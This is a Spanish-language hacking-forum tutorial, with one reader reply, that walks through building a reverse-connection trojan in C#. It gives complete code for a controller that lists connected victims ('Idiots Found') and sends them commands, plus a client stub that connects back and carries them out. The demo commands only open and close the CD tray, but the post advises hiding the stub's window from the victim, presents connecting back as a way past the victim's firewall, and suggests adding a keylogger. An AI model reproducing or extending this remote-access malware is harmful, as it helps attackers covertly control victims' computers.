• [C#] Creacion de un Troyano de conexion inversa

 #458899  por Doddy
 31 Oct 2014, 16:20
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :



Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :
Código: [ Debe registrarse para ver este enlace ]
using System.Threading; // Lo usamos para poder manejar los hilos
using System.Net.Sockets; // Lo usamos para poder crear la conexion
using System.Net; // Lo usamos para poder crear la conexion
using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares
Despues pongan las siguientes variables gobales al inicio del codigo :
Código: [ Debe registrarse para ver este enlace ]
TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
Thread thread_server; // Establecemos la variable thread_server Thread
Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :
Código: [ Debe registrarse para ver este enlace ]
// Server Manager
// Coded By Doddy Hackman
// Credits :
// Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
// Thanks to xSilent

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets; // Para el manejo de sockets
using System.IO; // Para el manejo de Streams
using System.Windows.Forms;  // Para el manejo de formularios
using System.Text.RegularExpressions; // Para el manejo de expresiones regulares

namespace server
{
    class ServerManager
    {
        public TcpClient manager; // Variable global para manejar el cliente
        public string ip; // Variable global para tener la IP

        public delegate void cargando_datos(ServerManager manager, string Message);
        public event cargando_datos evento_panel_control_now;

        public ServerManager(TcpClient manager)
        {
            this.manager = manager;
            string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
            Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
            if (regex.Success) // Si se encontro ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP

            }

            manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
        }
        void leo_al_idiot(IAsyncResult contenido_leyendo)
        {
            try
            {
                StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
                string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
                evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
                manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
            }
            catch
            {
                //
            }

        }

        public void respondo_al_idiot(string mensaje_now)
        {
            try
            {
                StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
                te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
                te_mando_now.Flush(); // Refrescamos el buffer
            }
            catch
            {
                //
            }
        }

    }
}

// The End ?
El formulario del servidor lo vamos hacer de la siguiente forma :

[+] 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
[+] 3 Botones con el siguiente texto "Online","OpenCD","Close CD"

Les tiene que quedar algo asi :



Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :
Código: [ Debe registrarse para ver este enlace ]
private void button1_Click(object sender, EventArgs e)
{
	int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
	tcp_server = new TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
	thread_server = new Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
	thread_server.Start(); // Iniciamos el hilo thread_server
}
Despues del codigo del boton agreguen el siguiente codigo :
Código: [ Debe registrarse para ver este enlace ]
public void panel_control()
{
	tcp_server.Start(); // Iniciamos el servidor
	while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
	{
		ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
		socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
		// los datos de la conexion pendiente
	}
}

void evento_panel_control(ServerManager vengo,string data)
{
	Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular 
	// para controlar que se encuentre 
	// el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data 
	if (regex.Success) // Si se encuentra ...
	{
		Invoke(new _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
	}

	regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
	// enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
	// -RtaCommand-
	if (regex.Success) // Si se encuentra ...
	{
		MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
	}
}

delegate void _NewIdiot(ServerManager vengo);
void NewIdiot(ServerManager vengo)
{
	ListViewItem agregar = new ListViewItem(); // Creamos un item nuevo con la variable agregar
	agregar.Text = vengo.ip; // Agregamos como texto la IP
	agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
	listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
}
Todos estos pasos les deberia quedar asi :



Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :
Código: [ Debe registrarse para ver este enlace ]
ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag 
// del item seleccionado por el usuario
manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
// listView
Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :
Código: [ Debe registrarse para ver este enlace ]
ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag 
// del item seleccionado por el usuario
manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
// listView
Les deberia quedar algo asi los dos botones :



Eso seria todo en el servidor.

0x03 : Creacion del cliente

Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :



Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :
Código: [ Debe registrarse para ver este enlace ]
using System.Net.Sockets; // Lo usamos para el manejo de sockets
using System.Net; // Lo usamos para el manejo de sockets
using System.IO; // Lo usamos para el manejo de streams
using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares
Despues de eso establecemos las siguientes variables globales con el siguiente codigo :
Código: [ Debe registrarse para ver este enlace ]
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
// Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora 
static TcpClient conexion_con_el_server = new TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
// IPEndPoint y la seteamos como null
Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :
Código: [ Debe registrarse para ver este enlace ]
datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
// como IPEndPoint con el valor de la IP y el puerto 
entrar_al_servidor(); // Realizamos la conexion
Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :
Código: [ Debe registrarse para ver este enlace ]
public static void entrar_al_servidor()
{
	try
	{
		conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
		enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
		conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes 
		// de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
	}
	catch
	{
		//
	}
}

public static void leer_datos_del_servidor(IAsyncResult now)
{
	try
	{
		StreamReader abriendo_conexion = new StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
		// de tipo StreamReader para poder leer los datos que vienen
		string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido

		Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
		// para verificar que nos envien la orden OpenCD
		if (regex.Success) // Si pasa ...
		{
			mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora 
			enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
		}

		regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
		// nos envien la orden de CloseCd
		if (regex.Success) // Si pasa ...
		{
			mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
			enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
		}

		conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
	}
	catch
	{
		//
	}
}

public static void enviar_respuesta(string texto)
{
	try
	{
		StreamWriter enviar_respuesta_now = new StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
		// como StreamWriter para poder mandar un mensaje
		enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
		enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
	}
	catch
	{
		//
	}
}
Con eso ya estaria listo el cliente.

0x04 : Probando el programa

Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.

Unas imagenes de como funciona :







Eso seria todo.

0x05 : Bibliografia

[ Debe registrarse para ver este enlace ]
[ Debe registrarse para ver este enlace ]

--========--
The End ?
--========--

[ Debe registrarse para ver este enlace ].

Version VideoTutorial :



Eso es todo.
 #477366  por circunsxik
 04 Sep 2015, 18:40
He seguido el manual muy bien explicado y funciona perfectamente!!

Me ha liado un poco el tema de que este es el server el que usas tu y el remoto es el cliente, que hasta ahora los que había usado eran al revés. Pero bueno eso da igual, solo es el nombre que le das.

Gracias por el tutoo!!

Voy a hacerle unas modificaciones a mi gustoo!!